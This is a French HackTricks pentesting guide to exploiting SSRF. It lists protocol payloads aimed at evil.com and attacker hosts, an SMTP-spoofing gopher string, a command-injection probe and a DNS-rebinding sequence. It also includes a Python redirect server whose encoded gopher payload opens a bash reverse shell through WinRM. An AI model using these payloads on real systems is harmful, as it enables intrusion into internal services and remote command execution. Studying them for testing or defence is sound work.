hacktricks/pentesting-web/ssrf-server-side-request-forgery/README.md

24 KiB

SSRF (Server Side Request Forgery)


Utilisez Trickest pour construire et automatiser des workflows grâce aux outils communautaires les plus avancés.
Obtenez l'accès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :

La faille de sécurité des requêtes côté serveur (connue sous le nom de SSRF) est une vulnérabilité de sécurité web qui permet à un attaquant d'induire l'application côté serveur à effectuer des requêtes HTTP vers un domaine arbitraire de son choix. (Depuis ici)

Capture SSRF

La première chose à faire est de capturer une interaction SSRF provoquée par vous. Pour capturer une interaction HTTP ou DNS, vous pouvez utiliser des outils tels que :

Contournement des domaines en liste blanche

Habituellement, vous constaterez que la SSRF ne fonctionne que dans certains domaines ou URL en liste blanche. Dans la page suivante, vous avez une compilation de techniques pour essayer de contourner cette liste blanche :

{% content-ref url="url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}

Contournement via redirection ouverte

Si le serveur est correctement protégé, vous pourriez contourner toutes les restrictions en exploitant une Redirection Ouverte à l'intérieur de la page web. Parce que la page web permettra la SSRF au même domaine et suivra probablement les redirections, vous pouvez exploiter la Redirection Ouverte pour faire accéder le serveur à n'importe quelle ressource interne.
Lisez plus ici : https://portswigger.net/web-security/ssrf

Protocoles

file://

file:///etc/passwd

dict://

Le schéma d'URL DICT est utilisé pour faire référence à des définitions ou des listes de mots disponibles en utilisant le protocole DICT :

dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/

SFTP://

Un protocole réseau utilisé pour le transfert de fichiers sécurisé via secure shell

ssrf.php?url=sftp://evil.com:11111/

TFTP://

Trivial File Transfer Protocol, fonctionne sur UDP

ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET

LDAP://

Lightweight Directory Access Protocol. C'est un protocole d'application utilisé sur un réseau IP pour gérer et accéder au service d'annuaire distribué.

ssrf.php?url=ldap://localhost:11211/%0astats%0aquit

Gopher://

En utilisant ce protocole, vous pouvez spécifier l'IP, le port et les octets que vous souhaitez que le serveur envoie. Ensuite, vous pouvez essentiellement exploiter un SSRF pour communiquer avec n'importe quel serveur TCP (mais vous devez d'abord savoir comment parler au service).
Heureusement, vous pouvez utiliser Gopherus pour créer des charges utiles pour plusieurs services. De plus, remote-method-guesser peut être utilisé pour créer des charges utiles gopher pour les services Java RMI.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — Connexion inverse au port 1337

{% code title="redirect.php" %}

<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

{% endcode %}

SMTP

D'après https://twitter.com/har1sec/status/1182255952055164929 :
1. se connecter avec SSRF sur smtp localhost:25
2. à partir de la première ligne, obtenir le nom de domaine interne 220 http://blabla.internaldomain.com ESMTP Sendmail
3. rechercher http://internaldomain.com sur github, trouver des sous-domaines
4. se connecter

Curl URL globbing - contournement de WAF

Si le SSRF est exécuté par curl, curl a une fonctionnalité appelée URL globbing qui pourrait être utile pour contourner les WAFs. Par exemple, dans ce writeup, vous pouvez trouver cet exemple pour une traversée de chemin via le protocole file :

file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}

Capture des requêtes SSRF

SSRF via l'en-tête Referrer

Certaines applications utilisent des logiciels d'analyse côté serveur qui suivent les visiteurs. Ce logiciel enregistre souvent l'en-tête Referrer dans les requêtes, car cela est particulièrement intéressant pour le suivi des liens entrants. Souvent, le logiciel d'analyse visitera réellement toute URL tierce qui apparaît dans l'en-tête Referrer. Cela est généralement fait pour analyser le contenu des sites référents, y compris le texte d'ancrage utilisé dans les liens entrants. En conséquence, l'en-tête Referer représente souvent une surface d'attaque fructueuse pour les vulnérabilités SSRF.
Pour découvrir ce type de vulnérabilités "cachées", vous pourriez utiliser le plugin "Collaborator Everywhere" de Burp.

SSRF via les données SNI du certificat

La configuration la plus simple qui vous permettrait de vous connecter à un backend arbitraire ressemblerait à ceci :

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

Ici, la valeur du champ SNI est utilisée directement comme adresse du backend.

Avec cette configuration non sécurisée, nous pouvons exploiter la vulnérabilité SSRF simplement en spécifiant l'IP ou le nom de domaine souhaité dans le champ SNI. Par exemple, la commande suivante forcerait Nginx à se connecter à internal.host.com :

openssl s_client -connecttarget.com:443 -servername "internal.host.com" -crlf

Téléversement de fichier avec Wget

SSRF avec Injection de Commande

Il pourrait être intéressant d'essayer un payload comme : url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

Rendu de PDFs

Si la page web crée automatiquement un PDF avec des informations que vous avez fournies, vous pouvez insérer du JS qui sera exécuté par le créateur de PDF lui-même (le serveur) pendant la création du PDF et vous pourrez exploiter une SSRF. Trouvez plus d'informations ici.

De SSRF à DoS

Créez plusieurs sessions et essayez de télécharger des fichiers lourds en exploitant la SSRF depuis les sessions.

Fonctions PHP SSRF

{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}

SSRF Redirection vers Gopher

Pour certaines exploitations, vous pourriez avoir besoin d'envoyer une réponse de redirection (potentiellement pour utiliser un protocole différent comme gopher). Voici différents codes python pour répondre avec une redirection :

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et **automatiser des workflows** facilement, alimentés par les outils communautaires **les plus avancés** au monde.\
Obtenez l'accès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

## DNS Rebidding CORS/SOP bypass

Si vous rencontrez des **problèmes** pour **exfiltrer du contenu d'une IP locale** à cause de **CORS/SOP**, **DNS Rebidding** peut être utilisé pour contourner cette limitation :

{% content-ref url="../cors-bypass.md" %}
[cors-bypass.md](../cors-bypass.md)
{% endcontent-ref %}

### Automatisation du DNS Rebidding

[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) est un outil pour réaliser des attaques de [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding). Il inclut les composants nécessaires pour relier l'adresse IP de la machine cible au nom DNS du serveur d'attaque et pour servir des charges utiles d'attaque afin d'exploiter des logiciels vulnérables sur la machine cible.

Consultez également le **serveur public en cours d'exécution sur** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)****

## DNS Rebidding + TLS Session ID/Session ticket

Prérequis :

* **SSRF**
* **Sessions TLS sortantes**
* **Éléments sur les ports locaux**

Attaque :

1. Demander à l'utilisateur/bot **d'accéder** à un **domaine** contrôlé par l'**attaquant**
2. Le **TTL** du **DNS** est de **0** sec (ainsi la victime vérifiera à nouveau l'IP du domaine bientôt)
3. Une **connexion TLS** est créée entre la victime et le domaine de l'attaquant. L'attaquant introduit la **charge utile à l'intérieur** du **Session ID ou Session Ticket**.
4. Le **domaine** commencera une **boucle infinie** de redirections contre **lui-même**. Le but est de faire accéder l'utilisateur/bot au domaine jusqu'à ce qu'il effectue **à nouveau** une **requête DNS** du domaine.
5. Dans la requête DNS, une **adresse IP privée** est donnée **maintenant** (127.0.0.1 par exemple)
6. L'utilisateur/bot essaiera de **rétablir la connexion TLS** et pour ce faire, il **envoie** le **Session** ID/Ticket ID (où la **charge utile** de l'attaquant était contenue). Donc félicitations, vous avez réussi à demander à l'**utilisateur/bot de s'attaquer lui-même**.

Notez que pendant cette attaque, si vous voulez attaquer localhost:11211 (_memcache_), vous devez faire établir la connexion initiale avec www.attacker.com:11211 (le **port doit toujours être le même**).\
Pour **réaliser cette attaque, vous pouvez utiliser l'outil** : [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
Pour **plus d'informations**, regardez la conférence où cette attaque est expliquée : [https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference)

## SSRF aveugle

La différence entre un SSRF aveugle et un non aveugle est que dans le SSRF aveugle, vous ne pouvez pas voir la réponse de la requête SSRF. Il est donc plus difficile à exploiter car vous ne pourrez exploiter que des vulnérabilités bien connues.

### SSRF basé sur le temps

**Vérifier le temps** des réponses du serveur pourrait **permettre de savoir si une ressource existe ou non** (peut-être qu'il faut plus de temps pour accéder à une ressource existante que pour une qui n'existe pas)

## Exploitation de SSRF dans le Cloud

Si vous trouvez une vulnérabilité SSRF dans une machine fonctionnant dans un environnement cloud, vous pourriez être en mesure d'obtenir des informations intéressantes sur l'environnement cloud et même des identifiants :

{% content-ref url="cloud-ssrf.md" %}
[cloud-ssrf.md](cloud-ssrf.md)
{% endcontent-ref %}

## Plateformes vulnérables au SSRF

Plusieurs plateformes connues contiennent ou ont contenu des vulnérabilités SSRF, vérifiez-les dans :

{% content-ref url="ssrf-vulnerable-platforms.md" %}
[ssrf-vulnerable-platforms.md](ssrf-vulnerable-platforms.md)
{% endcontent-ref %}

## Outils

### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap)

Outil pour détecter et exploiter les vulnérabilités SSRF

### [Gopherus](https://github.com/tarunkant/Gopherus)

* [Article de blog sur Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)

Cet outil génère des charges utiles Gopher pour :

* MySQL
* PostgreSQL
* FastCGI
* Redis
* Zabbix
* Memcache

### [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)

* [Article de blog sur l'utilisation de SSRF](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)

_remote-method-guesser_ est un scanner de vulnérabilités _Java RMI_ qui prend en charge les opérations d'attaque pour la plupart des vulnérabilités _Java RMI_ courantes. La plupart des opérations disponibles supportent l'option `--ssrf`, pour générer une charge utile _SSRF_ pour l'opération demandée. Avec l'option `--gopher`, des charges utiles _gopher_ prêtes à l'emploi peuvent être générées directement.

### [SSRF Proxy](https://github.com/bcoles/ssrf_proxy)

SSRF Proxy est un serveur proxy HTTP multi-thread conçu pour acheminer le trafic HTTP client à travers des serveurs HTTP vulnérables à la falsification de requête côté serveur (SSRF).

### Pour pratiquer

{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}

## Références

* [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
* [https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/)

<details>

<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Autres moyens de soutenir HackTricks :

* Si vous voulez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>

<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et **automatiser des workflows** facilement, alimentés par les outils communautaires **les plus avancés** au monde.\
Obtenez l'accès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}